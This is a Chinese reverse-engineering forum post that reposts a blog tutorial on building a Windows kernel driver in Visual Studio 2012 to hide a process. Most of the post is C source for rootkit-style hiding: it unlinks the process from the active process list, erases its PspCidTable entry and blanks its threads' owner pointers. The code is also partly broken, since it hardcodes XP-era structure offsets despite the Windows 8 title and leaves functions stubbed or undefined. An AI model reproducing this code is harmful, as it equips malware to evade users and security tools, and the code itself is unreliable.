滴水逆向联盟

标题: 用Visual studio2012在Windows8上开发内核中隐藏进程 [打印本页]

作者: 大灰狼    时间: 2014-9-29 08:40
标题: 用Visual studio2012在Windows8上开发内核中隐藏进程
用Visual studio2012在Windows8上开发内核中隐藏进程
分类: VC++编程技术 Visual C++2010编程技术2012-08-20 10:34 2282人阅读 评论(2) [url=]收藏[/url] 举报

windowstablenullsystemlist
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
  1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
  2.“GDI Driver”,提供显示和打印所需的GDI函数。
  3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。


Visual studio2012与Windows8带来格外不同的新体验

1.启动Vs2012


2.看见满目的驱动开发模板

3.选择一个驱动模式,有内核模式与用户模式两种的驱动


4.创建一个驱动程序,KMDF DriverMVP


5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包

6.按下F5,选择驱动编译,



插入下列代码实现内核隐藏进程
头文件
[cpp] view plaincopy


  • #ifndef DBGHELP_H  
  • #define DBGHELP_H 1  
  •   
  •   
  •   
  •   
  • #include <ntifs.h>  
  •   
  •   
  •   
  •   
  • /************************************************************************/  
  • /* 重量级结构的申明                                                                     */  
  • /************************************************************************/  
  •   
  •   
  • typedef struct _HANDLE_TABLE {  
  •     ULONG Flags;  
  •     LONG HandleCount;  
  •     PHANDLE_TABLE_ENTRY **Table;  
  •     struct _EPROCESS *QuotaProcess;  
  •     HANDLE UniqueProcessId;  
  •     LONG FirstFreeTableEntry;  
  •     LONG NextIndexNeedingPool;   
  •     ERESOURCE HandleTableLock;   
  •     LIST_ENTRY HandleTableList;  
  •     KEVENT HandleContentionEvent;  
  • } HANDLE_TABLE, *PHANDLE_TABLE;   
  •   
  • typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(  
  •                                                IN PHANDLE_TABLE_ENTRY HandleTableEntry,  
  •                                                IN HANDLE Handle,  
  •                                                IN PVOID EnumParameter  
  •                                                );  
  • typedef BOOLEAN(*__ExEnumHandleTable)(  
  •                                       IN PHANDLE_TABLE HandleTable,  
  •                                       IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,  
  •                                       IN PVOID EnumParameter,  
  •                                       OUT PHANDLE Handle OPTIONAL   
  •     );  
  •   
  • typedef BOOLEAN (*EXENUMHANDLETABLE)(  
  •                                      IN PHANDLE_TABLE HandleTable,  
  •                                      IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,  
  •                                      IN PVOID EnumParameter,  
  •                                      OUT PHANDLE Handle OPTIONAL  
  •                                        );  
  •   
  • /************************************************************************/  
  • /* 申明一些全局变量                                                                     */  
  • /************************************************************************/  
  • ULONG    g_Offset_Eprocess_Name=0;  
  • ULONG    g_Offset_Eprocess_Flink = 0;  
  • ULONG    g_Offset_Eprocess_ProcessId = 0;  
  • ULONG    g_Offset_Eprocess_HandleTable = 0;  
  • __ExEnumHandleTable ExEnumHandleTable ;  
  •   
  • PEPROCESS  g_pEprocess_System = 0;  
  • ULONG trytimes=0;  
  • ULONG error=0;  
  •   
  • /************************************************************************/  
  • /* 申明一些函数                                                                     */  
  • /************************************************************************/  
  •   
  • BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter  
  • );  
  •   
  •   
  • NTSTATUS   
  • EraseObjectFromHandleTable(  
  •                            PHANDLE_TABLE pHandleTable,  
  •                            IN ULONG ProcessId   
  • );  
  •   
  • VOID RemoveNodeFromActiveProcessLinks(  
  •   IN ULONG ProcessId  
  •   );  
  •   
  • VOID  
  • HideProcessById(  
  •   IN ULONG ProcessId  
  • );  
  •   
  •   
  • NTSTATUS   
  • LookupProcessByName(  
  •                     OUT PEPROCESS pEprocess   
  •                     );  
  •   
  • NTSTATUS   
  • InitializeCommonVariables(  
  •     );  
  •   
  • NTSTATUS GetProcessNameOffset(  
  •                      OUT PULONG Offset OPTIONAL   
  • );  
  •   
  • BOOLEAN IsValidModule(ULONG i);  
  •   
  • void Search();  
  •   
  • ULONG GetAddrFromProcessId();  
  •   
  •   
  • VOID ClearMZMask();  
  •   
  • #endif  



源文件
[cpp] view plaincopy


  • VOID BreakThreadByProcess(ULONG Pid)  
  • {  
  • /*++
  • Routine Description:
  •     将所有线程ETHREAD结构的ThreadsProcess抹掉
  • Return Value:
  • VOID
  • --*/  
  •     PEPROCESS eProcess;  
  •     PETHREAD eThread;  
  •     PLIST_ENTRY pList;  
  •       
  •     PsLookupProcessByProcessId(Pid,&eProcess);  
  •     pList = eProcess->Pcb.ThreadListHead.Blink;  
  •     while (pList != eProcess->Pcb.ThreadListHead.Flink)  
  •     {  
  •         eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));  
  •         eThread->ThreadsProcess = 0;  
  •         pList = pList->Blink;  
  •     }  
  •       
  • }  
  •   
  •   
  • VOID ClearMZMask()  
  • {  
  • /*++
  • Routine Description:
  •     擦除PE文件MZ,PE标志
  • Return Value:
  • VOID
  • --*/  
  •     PVOID addr;  
  •     ULONG pid;  
  •     PEPROCESS eProcess;  
  •     KAPC_STATE apcstatus;  
  •   
  •   
  •     pid = ProtectPid;  
  •     PsLookupProcessByProcessId(pid,&eProcess);  
  •   
  •     KeStackAttachProcess(eProcess,&apcstatus);  
  •   
  •   
  •     KeUnstackDetachProcess(&apcstatus);  
  • }  
  •   
  •   
  •   
  • ULONG GetAddrFromProcessId()   
  • {   
  • /*++
  • Routine Description:
  •     搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
  •     ppPspCidTable:返回PspCidTable表地址
  • Return Value:
  • VOID
  • --*/  
  •     UNICODE_STRING pslookup;   
  •     PUCHAR  addr;   
  •     PUCHAR p;   
  •     ULONG q;   
  •     RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");   
  •     addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);   
  •       
  •     for(p=addr;p<addr+PAGE_SIZE;p++)   
  •     {   
  •         if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))   
  •         {     
  •             q=*(PULONG)(p+2);   
  •             return q;   
  •             break;   
  •         }   
  •     }   
  •     return 0;   
  • }  
  •   
  •   
  •   
  •   
  •   
  • BOOLEAN   
  • EnumHandleCallback(  
  • IN PHANDLE_TABLE_ENTRY HandleTableEntry,  
  • IN HANDLE Handle,  
  • IN OUT PVOID EnumParameter   
  • )  
  • {  
  •     if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)  
  •     {  
  •         *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;  
  •         return TRUE ;  
  •     }  
  •     return FALSE ;  
  • }  
  •   
  •   
  •   
  •   
  •   
  • // 修改一下,可以传递要擦除的ID做参数  
  • NTSTATUS   
  • EraseObjectFromHandleTable(  
  • PHANDLE_TABLE pHandleTable,  
  • IN ULONG ProcessId   
  • )  
  • {  
  • /*++
  • Routine Description:
  •   擦出PspCidTable结构中的句柄
  •   pHandleTable:指向句柄表指针
  •   ProcessId:进程的PID
  • Return Value:
  • VOID
  • --*/  
  •   
  •     NTSTATUS status ;  
  •       
  •     PVOID EnumParameter ;  
  •     UNICODE_STRING uniExEnumHandleTable ;  
  •       
  •     __ExEnumHandleTable ExEnumHandleTable ;  
  •       
  •     status=STATUS_NOT_FOUND ;  
  •     EnumParameter=ProcessId ;  
  •       
  •       
  •     RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");  
  •     ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);  
  •       
  •     if(NULL==ExEnumHandleTable)  
  •     {  
  •         return STATUS_NOT_FOUND ;  
  •     }  
  •       
  •     // Enum后可以擦除,Callback过程中不能擦除  
  •     if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))  
  •     {  
  •         InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);  
  •         status=STATUS_SUCCESS ;  
  •     }  
  •       
  •     return status ;  
  • }  
  •   
  •   
  •   
  •   
  •   
  • VOID RemoveNodeFromActiveProcessLinks(  
  •   IN ULONG ProcessId  
  •   )  
  • {  
  • /*++
  • Routine Description:
  •   移除进程EPROCESS结构中的ActiveProces中自己的链表
  •   ProcessId:进程的PID
  • Return Value:
  • VOID
  • --*/  
  •     NTSTATUS status;  
  •   
  •     LIST_ENTRY  *pListEntry;  
  •     PEPROCESS  pEprocess;  
  •     status = PsLookupProcessByProcessId(ProcessId,&pEprocess);  
  •     if (!NT_SUCCESS(status))  
  •     {  
  •         DbgPrint("PsLookupProcessByProcessId Error!\n");  
  •         return ;  
  •     }  
  • //  ObDereferenceObject(pEprocess);  
  •   
  •   
  •     pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);  
  •   
  •     pListEntry->Flink->Blink = pListEntry->Blink;  
  •     pListEntry->Blink->Flink = pListEntry->Flink;  
  •   
  •   
  • }  
  •   
  •   
  • VOID  
  • HideProcessById(  
  •                 IN ULONG ProcessId   
  •                 )  
  • {  
  •     NTSTATUS status ;  
  •     HANDLE_TABLE *pPspCidTable ;  
  •     PEPROCESS pCsrssEprocess=NULL ;  
  •       
  •       
  •   
  •         status=InitializeCommonVariables();  
  •   
  •       
  •     pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();  
  •       
  •       
  •   
  •     status=LookupProcessByName(pCsrssEprocess);  
  •       
  •   
  •      
  •     // 先从活动进程链表中摘除  
  •    RemoveNodeFromActiveProcessLinks(ProcessId);  
  •       
  •       
  •     // 擦除PspCidTable中对应的Object  
  •     EraseObjectFromHandleTable(pPspCidTable,ProcessId);  
  •       
  •       
  •     // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃  
  • //    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);  
  •       
  •       
  •     return ;  
  • }  
  •   
  •   
  •   
  • NTSTATUS   
  • LookupProcessByName(  
  •                     OUT PEPROCESS pEprocess   
  •                     )  
  • {  
  •     PEPROCESS esProcess;  
  •     LIST_ENTRY *listen;  
  •     esProcess = PsGetCurrentProcess();  
  •   
  •     while (1)  
  •     {  
  •         listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;  
  •         esProcess= (EPROCESS *)((ULONG)listen - 0x88);  
  •         DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));  
  •         if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))  
  •         {  
  •             DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));  
  •             pEprocess = esProcess;  
  •             DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);  
  •             return STATUS_SUCCESS;  
  •             break;  
  •         }  
  •         listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));  
  •     }   
  •   
  • }  
  •   
  •   
  •   
  • NTSTATUS   
  • GetProcessNameOffset(  
  •                      OUT PULONG Offset OPTIONAL   
  •                      )  
  • {  
  •     NTSTATUS status ;  
  •     PEPROCESS curproc ;  
  •     ULONG i ;  
  •       
  •     if(!MmIsAddressValid((PVOID)Offset))  
  •     {  
  •         status=STATUS_INVALID_PARAMETER ;  
  •         return status ;  
  •     }  
  •       
  •     curproc=PsGetCurrentProcess();  
  •       
  •     //  
  •     // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量  
  •     // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,  
  •     // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断  
  •       
  •     // Scan for 12KB, hopping the KPEB never grows that big!  
  •     //  
  •     for(i=0;i<3*PAGE_SIZE;i++)  
  •     {  
  •          
  •         if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))  
  •         {  
  •             *Offset=i ;  
  •             status=STATUS_SUCCESS ;  
  •             break ;  
  •         }  
  •     }  
  •     return status ;  
  • }  
  •   
  •   
  • NTSTATUS   
  • InitializeCommonVariables(  
  • )  
  • {  
  •     NTSTATUS status ;  
  •     ULONG uMajorVersion ;  
  •     ULONG uMinorVersion ;  
  •       
  •     status=GetProcessNameOffset(&g_Offset_Eprocess_Name);  
  •       
  •     if(!NT_SUCCESS(status))  
  •     {  
  •         return status ;  
  •     }  
  •       
  •     g_pEprocess_System=PsGetCurrentProcess();  
  •       
  •     PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);  
  •       
  •     if(uMajorVersion==4&&uMinorVersion==0)  
  •     {  
  •         g_Offset_Eprocess_Flink=152 ;  
  •         // Stop supporting NT 4.0  
  •         return STATUS_UNSUCCESSFUL ;  
  •     }  
  •     else if(uMajorVersion==5&&uMinorVersion==0)  
  •     {  
  •         g_Offset_Eprocess_ProcessId=156 ;  
  •         g_Offset_Eprocess_Flink=160 ;  
  •         g_Offset_Eprocess_HandleTable=0x128 ;  
  •     }  
  •     else if(uMajorVersion==5&&uMinorVersion==1)  
  •     {  
  •         g_Offset_Eprocess_ProcessId=132 ;  
  •         g_Offset_Eprocess_Flink=136 ;  
  •         g_Offset_Eprocess_HandleTable=0xC4 ;  
  •     }  
  •     else if(uMajorVersion==5&&uMinorVersion==2)  
  •     {  
  •         g_Offset_Eprocess_ProcessId=132 ;  
  •         g_Offset_Eprocess_Flink=136 ;  
  •         g_Offset_Eprocess_HandleTable=0xC4 ;  
  •     }  
  •       
  •     return STATUS_SUCCESS ;  
  • }  
  •   
  • /*++
  • Routine Description:
  •   得到各个变量的偏移
  • Return Value:
  • VOID
  • --*/  








欢迎光临 滴水逆向联盟 (http://www.dtdebug.com/) Powered by Discuz! X3.2